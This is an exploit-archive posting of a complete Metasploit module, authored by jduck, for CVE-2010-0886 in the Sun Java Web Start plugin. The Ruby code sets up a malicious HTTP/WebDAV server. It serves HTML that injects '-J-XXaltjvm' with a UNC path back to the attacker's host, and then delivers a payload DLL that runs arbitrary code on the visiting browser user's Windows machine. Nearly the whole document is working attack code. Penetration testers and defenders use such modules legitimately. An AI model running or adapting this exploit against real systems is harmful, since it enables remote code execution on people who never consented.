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Sun Java Web Start Plugin Command Line Argument Injection

Sun Java Web Start Plugin Command Line Argument Injection
Posted Apr 19, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a flaw in the Web Start plugin component of Sun Java Web Start. The arguments passed to Java Web Start are not properly validated. By passing the lesser known -J option, an attacker can pass arbitrary options directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed by Ruben Santamarta, an attacker can execute arbitrary code in the context of an unsuspecting browser user. This vulnerability was originally discovered independently by both Ruben Santamarta and Tavis Ormandy. Tavis reported that all versions since version 6 Update 10 "are believed to be affected by this vulnerability." In order for this module to work, it must be ran as root on a server that does not serve SMB. Additionally, the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.

tags | exploit, java, web, arbitrary, root
advisories | CVE-2010-0886
MD5 | 497d4c86de502dbaa7ca516d3a23f53c

Sun Java Web Start Plugin Command Line Argument Injection

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##
# $Id: java_ws_arginject_altjvm.rb 9097 2010-04-16 08:08:40Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection',
'Description' => %q{
This module exploits a flaw in the Web Start plugin component of Sun Java
Web Start. The arguments passed to Java Web Start are not properly validated.
By passing the lesser known -J option, an attacker can pass arbitrary options
directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
by Ruben Santamarta, an attacker can execute arbitrary code in the context of
an unsuspecting browser user.

This vulnerability was originally discovered independently by both Ruben
Santamarta and Tavis Ormandy. Tavis reported that all versions since version
6 Update 10 "are believed to be affected by this vulnerability."

In order for this module to work, it must be ran as root on a server that
does not serve SMB. Additionally, the target host must have the WebClient
service (WebDAV Mini-Redirector) enabled.
},
'License' => MSF_LICENSE,
'Author' => 'jduck',
'Version' => '$Revision: 9097 $',
'References' =>
[
[ 'CVE', '2010-0886' ],
[ 'OSVDB', '63648' ],
[ 'BID', '39346' ],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
],
'Platform' => 'win',
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
},
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Java Runtime on Windows x86',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 09 2010'
))

register_options(
[
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
], self.class)
end


def auto_target(cli, request)
agent = request.headers['User-Agent']

ret = nil
#print_status("Agent: #{agent}")
# Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1]
else
print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
end

ret
end


def on_request_uri(cli, request)

# For this exploit, this does little besides ensures the user agent is a recognized one..
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end

# Special case to process OPTIONS for /
if (request.method == 'OPTIONS' and request.uri == '/')
process_options(cli, request, mytarget)
return
end

# Discard requests for ico files
if (request.uri =~ /\.ico$/i)
send_not_found(cli)
return
end

# If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
send_redirect(cli, subdir)
return
else
share_name = $1
end

# dispatch WebDAV requests based on method first
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)

when 'PROPFIND'
process_propfind(cli, request, mytarget)

when 'GET'
process_get(cli, request, mytarget, share_name)

when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)

else
print_error("Unexpected request method encountered: #{request.method}")

end

end

#
# GET requests
#
def process_get(cli, request, target, share_name)

print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
# dispatch based on extension
if (request.uri =~ /\.dll$/i)
#
# DLL requests sent by IE and the WebDav Mini-Redirector
#
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Generate a DLL based on the payload
dll_data = Msf::Util::EXE.to_win32pe_dll(framework, p.encoded)

# Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

else
#
# HTML requests sent by IE and Firefox
#
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")

if (datastore['UNCPATH'])
unc = datastore['UNCPATH'].dup
else
unc = "\\\\" + my_host + "\\" + share_name
end
jnlp = "-J-XXaltjvm=" + unc + " " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
docbase = ""

html = %Q|<html>
<body>
<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"
width="100%" height="100%">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
</body>
</html>
|

send_response_html(cli, html,
{
'Content-Type' => 'text/html',
'Pragma' => 'no-cache'
})
end

end

#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end


#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''

if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
=begin
# We don't have these things
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
=end
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return

end

# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end


#
# Make sure we're on the right port/path to support WebDAV
#
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end

super
end

end
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